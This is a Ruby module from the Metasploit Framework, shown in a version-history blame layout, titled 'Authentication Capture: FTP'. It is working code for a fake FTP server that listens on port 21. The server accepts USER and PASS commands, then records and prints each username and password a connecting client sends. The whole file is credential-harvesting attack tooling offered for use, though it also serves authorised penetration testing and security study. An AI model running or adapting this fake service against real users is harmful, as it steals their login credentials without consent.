2008-03-02 04:46:13 +00:00
|
|
|
##
|
2008-04-21 05:27:06 +00:00
|
|
|
# $Id$
|
2008-03-02 04:46:13 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2008-03-02 04:46:13 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2008-03-02 04:46:13 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2008-03-02 04:46:13 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::TcpServer
|
|
|
|
include Msf::Auxiliary::Report
|
2008-03-02 04:46:13 +00:00
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Authentication Capture: FTP',
|
2008-04-21 05:27:06 +00:00
|
|
|
'Version' => '$Revision$',
|
2008-03-02 04:46:13 +00:00
|
|
|
'Description' => %q{
|
2010-05-03 17:13:09 +00:00
|
|
|
This module provides a fake FTP service that
|
|
|
|
is designed to capture authentication credentials.
|
2008-03-02 04:46:13 +00:00
|
|
|
},
|
|
|
|
'Author' => ['ddz', 'hdm'],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Actions' =>
|
|
|
|
[
|
2010-09-20 08:06:27 +00:00
|
|
|
[ 'Capture' ]
|
2008-03-02 04:46:13 +00:00
|
|
|
],
|
2010-04-30 08:40:19 +00:00
|
|
|
'PassiveActions' =>
|
2008-03-02 04:46:13 +00:00
|
|
|
[
|
|
|
|
'Capture'
|
|
|
|
],
|
|
|
|
'DefaultAction' => 'Capture'
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def setup
|
|
|
|
super
|
|
|
|
@state = {}
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
exploit()
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
def on_client_connect(c)
|
|
|
|
@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil}
|
|
|
|
c.put "220 FTP Server Ready\r\n"
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
def on_client_data(c)
|
|
|
|
data = c.get_once
|
|
|
|
return if not data
|
|
|
|
cmd,arg = data.strip.split(/\s+/, 2)
|
|
|
|
arg ||= ""
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
if(cmd.upcase == "USER")
|
|
|
|
@state[c][:user] = arg
|
|
|
|
c.put "331 User name okay, need password...\r\n"
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
if(cmd.upcase == "QUIT")
|
|
|
|
c.put "221 Logout\r\n"
|
|
|
|
return
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
if(cmd.upcase == "PASS")
|
|
|
|
@state[c][:pass] = arg
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
report_auth_info(
|
|
|
|
:host => @state[c][:ip],
|
2010-08-18 00:58:20 +00:00
|
|
|
:port => datastore['SRVPORT'],
|
|
|
|
:sname => 'ftp',
|
2008-03-02 04:46:13 +00:00
|
|
|
:user => @state[c][:user],
|
2010-08-18 00:58:20 +00:00
|
|
|
:pass => @state[c][:pass],
|
|
|
|
:active => true
|
2008-03-02 04:46:13 +00:00
|
|
|
)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
print_status("FTP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
|
|
|
|
end
|
|
|
|
|
|
|
|
@state[c][:pass] = data.strip
|
|
|
|
c.put "500 Error\r\n"
|
|
|
|
return
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2008-03-02 04:46:13 +00:00
|
|
|
def on_client_close(c)
|
|
|
|
@state.delete(c)
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2010-03-25 01:09:04 +00:00
|
|
|
end
|